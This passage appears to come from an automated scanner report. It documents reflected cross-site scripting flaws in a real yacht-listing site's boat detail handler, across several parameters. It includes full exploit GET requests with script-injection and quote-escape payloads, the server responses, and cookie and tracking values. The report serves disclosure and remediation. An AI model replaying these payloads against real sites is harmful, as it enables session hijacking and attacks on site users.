The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /core/listing/pl_boat_detail_handler.jsp?slim=broker&hosturl=starlingmarine2f651\'%3balert(1)//3211bed4f90&units=Feet&boat_id=2275416&primary_photo_id=1&back=%2Fcore%2Flisting%2Fcache%2Fpl_search_results.jsp%3Fps%3D50%26slim%3Dbroker%26page%3Dbroker%26ywo%3Dstarlingmarine%26hosturl%3Dstarlingmarine%26luom%3D126&searchtype=buy&hosturl=starlingmarine&&ywo=starlingmarine& HTTP/1.1 Host: www.yachtworld.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: yw_c_id=5778232892790151794; __utmz=20819632.1296155835.1.1.utmcsr=starlingmarine.com|utmccn=(referral)|utmcmd=referral|utmcct=/used-new-boats-wilmington-morehead-nc.html; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.3.10.1296155835; s_pers=%20s_nr%3D1296155882977%7C1298747882977%3B%20s_lv%3D1296155882978%7C1390763882978%3B%20s_lv_s%3DFirst%2520Visit%7C1296157682978%3B; s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B
Response (redirected)
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:39:31 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 11635
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the hosturl request parameter is copied into the HTML document as plain text between tags. The payload f86e0<script>alert(1)</script>c4313d48862 was submitted in the hosturl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /core/listing/pl_boat_detail_handler.jsp?slim=broker&hosturl=starlingmarinef86e0<script>alert(1)</script>c4313d48862&units=Feet&boat_id=2275416&primary_photo_id=1&back=%2Fcore%2Flisting%2Fcache%2Fpl_search_results.jsp%3Fps%3D50%26slim%3Dbroker%26page%3Dbroker%26ywo%3Dstarlingmarine%26hosturl%3Dstarlingmarine%26luom%3D126&searchtype=buy&hosturl=starlingmarine&&ywo=starlingmarine& HTTP/1.1 Host: www.yachtworld.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: yw_c_id=5778232892790151794; __utmz=20819632.1296155835.1.1.utmcsr=starlingmarine.com|utmccn=(referral)|utmcmd=referral|utmcct=/used-new-boats-wilmington-morehead-nc.html; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.3.10.1296155835; s_pers=%20s_nr%3D1296155882977%7C1298747882977%3B%20s_lv%3D1296155882978%7C1390763882978%3B%20s_lv_s%3DFirst%2520Visit%7C1296157682978%3B; s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B
Response (redirected)
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:39:33 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 11959
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- /opt/weblogic/waeyw/ywcluster ...[SNIP]... </script>c4313d48862/boats.footer.html:--> Exception while reading the file:/opt/weblogic/waeyw/ywcluster/public_html/broker_pages/starlingmarinef86e0<script>alert(1)</script>c4313d48862/boats.header.html exception is java.io.FileNotFoundException: /opt/weblogic/waeyw/ywcluster/public_html/broker_pages/starlingmarinef86e0<script> ...[SNIP]...
The value of the hosturl request parameter is copied into an HTML comment. The payload 6e51f--><script>alert(1)</script>f1f1563518e was submitted in the hosturl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /core/listing/pl_boat_detail_handler.jsp?slim=broker&hosturl=starlingmarine6e51f--><script>alert(1)</script>f1f1563518e&units=Feet&boat_id=2275416&primary_photo_id=1&back=%2Fcore%2Flisting%2Fcache%2Fpl_search_results.jsp%3Fps%3D50%26slim%3Dbroker%26page%3Dbroker%26ywo%3Dstarlingmarine%26hosturl%3Dstarlingmarine%26luom%3D126&searchtype=buy&hosturl=starlingmarine&&ywo=starlingmarine& HTTP/1.1 Host: www.yachtworld.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: yw_c_id=5778232892790151794; __utmz=20819632.1296155835.1.1.utmcsr=starlingmarine.com|utmccn=(referral)|utmcmd=referral|utmcct=/used-new-boats-wilmington-morehead-nc.html; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.3.10.1296155835; s_pers=%20s_nr%3D1296155882977%7C1298747882977%3B%20s_lv%3D1296155882978%7C1390763882978%3B%20s_lv_s%3DFirst%2520Visit%7C1296157682978%3B; s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B
Response (redirected)
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:39:37 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 12042
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the hosturl request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 50e2b"><script>alert(1)</script>cfc37e3f4a8 was submitted in the hosturl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /core/listing/pl_boat_detail_handler.jsp?slim=broker&hosturl=starlingmarine50e2b"><script>alert(1)</script>cfc37e3f4a8&units=Feet&boat_id=2275416&primary_photo_id=1&back=%2Fcore%2Flisting%2Fcache%2Fpl_search_results.jsp%3Fps%3D50%26slim%3Dbroker%26page%3Dbroker%26ywo%3Dstarlingmarine%26hosturl%3Dstarlingmarine%26luom%3D126&searchtype=buy&hosturl=starlingmarine&&ywo=starlingmarine& HTTP/1.1 Host: www.yachtworld.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: yw_c_id=5778232892790151794; __utmz=20819632.1296155835.1.1.utmcsr=starlingmarine.com|utmccn=(referral)|utmcmd=referral|utmcct=/used-new-boats-wilmington-morehead-nc.html; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.3.10.1296155835; s_pers=%20s_nr%3D1296155882977%7C1298747882977%3B%20s_lv%3D1296155882978%7C1390763882978%3B%20s_lv_s%3DFirst%2520Visit%7C1296157682978%3B; s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B
Response (redirected)
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:39:17 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 12017
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the hosturl request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload d4871'><script>alert(1)</script>279f569358c was submitted in the hosturl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /core/listing/pl_boat_detail_handler.jsp?slim=broker&hosturl=starlingmarined4871'><script>alert(1)</script>279f569358c&units=Feet&boat_id=2275416&primary_photo_id=1&back=%2Fcore%2Flisting%2Fcache%2Fpl_search_results.jsp%3Fps%3D50%26slim%3Dbroker%26page%3Dbroker%26ywo%3Dstarlingmarine%26hosturl%3Dstarlingmarine%26luom%3D126&searchtype=buy&hosturl=starlingmarine&&ywo=starlingmarine& HTTP/1.1 Host: www.yachtworld.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: yw_c_id=5778232892790151794; __utmz=20819632.1296155835.1.1.utmcsr=starlingmarine.com|utmccn=(referral)|utmcmd=referral|utmcct=/used-new-boats-wilmington-morehead-nc.html; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.3.10.1296155835; s_pers=%20s_nr%3D1296155882977%7C1298747882977%3B%20s_lv%3D1296155882978%7C1390763882978%3B%20s_lv_s%3DFirst%2520Visit%7C1296157682978%3B; s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B
Response (redirected)
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:39:21 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 12018
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the slim request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 90877\'%3balert(1)//e8962a8bc3c was submitted in the slim parameter. This input was echoed as 90877\\';alert(1)//e8962a8bc3c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /core/listing/pl_boat_detail_handler.jsp?slim=broker90877\'%3balert(1)//e8962a8bc3c&hosturl=starlingmarine&units=Feet&boat_id=2275416&primary_photo_id=1&back=%2Fcore%2Flisting%2Fcache%2Fpl_search_results.jsp%3Fps%3D50%26slim%3Dbroker%26page%3Dbroker%26ywo%3Dstarlingmarine%26hosturl%3Dstarlingmarine%26luom%3D126&searchtype=buy&hosturl=starlingmarine&&ywo=starlingmarine& HTTP/1.1 Host: www.yachtworld.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: yw_c_id=5778232892790151794; __utmz=20819632.1296155835.1.1.utmcsr=starlingmarine.com|utmccn=(referral)|utmcmd=referral|utmcct=/used-new-boats-wilmington-morehead-nc.html; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.3.10.1296155835; s_pers=%20s_nr%3D1296155882977%7C1298747882977%3B%20s_lv%3D1296155882978%7C1390763882978%3B%20s_lv_s%3DFirst%2520Visit%7C1296157682978%3B; s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B
Response (redirected)
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:39:07 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 16734
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the slim request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2debb"><script>alert(1)</script>c1078a5b984 was submitted in the slim parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /core/listing/pl_boat_detail_handler.jsp?slim=broker2debb"><script>alert(1)</script>c1078a5b984&hosturl=starlingmarine&units=Feet&boat_id=2275416&primary_photo_id=1&back=%2Fcore%2Flisting%2Fcache%2Fpl_search_results.jsp%3Fps%3D50%26slim%3Dbroker%26page%3Dbroker%26ywo%3Dstarlingmarine%26hosturl%3Dstarlingmarine%26luom%3D126&searchtype=buy&hosturl=starlingmarine&&ywo=starlingmarine& HTTP/1.1 Host: www.yachtworld.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: yw_c_id=5778232892790151794; __utmz=20819632.1296155835.1.1.utmcsr=starlingmarine.com|utmccn=(referral)|utmcmd=referral|utmcct=/used-new-boats-wilmington-morehead-nc.html; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.3.10.1296155835; s_pers=%20s_nr%3D1296155882977%7C1298747882977%3B%20s_lv%3D1296155882978%7C1390763882978%3B%20s_lv_s%3DFirst%2520Visit%7C1296157682978%3B; s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B
Response (redirected)
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:38:55 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 17045
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the slim request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 8ac5f'><script>alert(1)</script>c1528de4653 was submitted in the slim parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /core/listing/pl_boat_detail_handler.jsp?slim=broker8ac5f'><script>alert(1)</script>c1528de4653&hosturl=starlingmarine&units=Feet&boat_id=2275416&primary_photo_id=1&back=%2Fcore%2Flisting%2Fcache%2Fpl_search_results.jsp%3Fps%3D50%26slim%3Dbroker%26page%3Dbroker%26ywo%3Dstarlingmarine%26hosturl%3Dstarlingmarine%26luom%3D126&searchtype=buy&hosturl=starlingmarine&&ywo=starlingmarine& HTTP/1.1 Host: www.yachtworld.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: yw_c_id=5778232892790151794; __utmz=20819632.1296155835.1.1.utmcsr=starlingmarine.com|utmccn=(referral)|utmcmd=referral|utmcct=/used-new-boats-wilmington-morehead-nc.html; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.3.10.1296155835; s_pers=%20s_nr%3D1296155882977%7C1298747882977%3B%20s_lv%3D1296155882978%7C1390763882978%3B%20s_lv_s%3DFirst%2520Visit%7C1296157682978%3B; s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B
Response (redirected)
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:38:57 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 17046
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the units request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload fdd1c'><script>alert(1)</script>4c92ddba914 was submitted in the units parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /core/listing/pl_boat_detail_handler.jsp?slim=broker&hosturl=starlingmarine&units=Feetfdd1c'><script>alert(1)</script>4c92ddba914&boat_id=2049062&primary_photo_id=1&back=%2Fcore%2Flisting%2Fcache%2Fpl_search_results.jsp%3Fps%3D50%26slim%3Dbroker%26page%3Dbroker%26ywo%3Dstarlingmarine%26hosturl%3Dstarlingmarine%26luom%3D126&searchtype=buy&hosturl=starlingmarine&&ywo=starlingmarine& HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response (redirected)
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:29:22 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the &ywo request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload c9a12'><script>alert(1)</script>80081d41593 was submitted in the &ywo parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 20:56:30 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 27818
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the &ywo request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4da77\'%3balert(1)//4ba75b63cdb was submitted in the &ywo parameter. This input was echoed as 4da77\\';alert(1)//4ba75b63cdb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
